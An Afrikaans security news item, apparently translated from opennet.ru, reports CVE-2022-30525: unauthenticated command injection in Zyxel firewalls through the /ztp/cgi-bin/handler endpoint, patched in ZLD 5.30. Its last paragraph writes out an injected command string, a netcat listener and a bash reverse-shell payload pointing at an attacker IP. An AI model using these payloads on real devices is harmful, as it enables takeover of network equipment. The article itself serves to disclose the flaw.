'n Kritieke kwesbaarheid (CVE-2022-30525) is geïdentifiseer in Zyxel-toestelle van die ATP-, VPN- en USG FLEX-reeks, wat ontwerp is om die werking van firewalls, IDS en VPN in ondernemings te organiseer, wat 'n eksterne aanvaller toelaat om kode uit te voer op die toestel sonder gebruikersregte sonder verifikasie. Om 'n aanval uit te voer, moet 'n aanvaller versoeke na die toestel kan stuur deur die HTTP/HTTPS-protokol te gebruik. Zyxel het die kwesbaarheid in die ZLD 5.30-firmware-opdatering reggestel. Volgens die Shodan-diens is daar tans 16213 XNUMX potensieel kwesbare toestelle op die globale netwerk wat versoeke via HTTP/HTTPS aanvaar.
Operasie word uitgevoer deur spesiaal ontwerpte opdragte na die webhanteerder /ztp/cgi-bin/handler te stuur, toeganklik sonder verifikasie. Die probleem word veroorsaak deur die gebrek aan behoorlike skoonmaak van versoekparameters wanneer opdragte op die stelsel uitgevoer word deur die os.system-oproep wat in die lib_wan_settings.py-biblioteek gebruik word en uitgevoer word wanneer die setWanPortSt-bewerking verwerk word.
Byvoorbeeld, 'n aanvaller kan die string “; ping 192.168.1.210;" wat sal lei tot die uitvoering van die "ping 192.168.1.210" opdrag op die stelsel. Om toegang tot die opdragdop te kry, kan jy “nc -lvnp 1270” op jou stelsel laat loop, en dan 'n omgekeerde verbinding inisieer deur 'n versoek na die toestel te stuur met die '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.
Bron: opennet.ru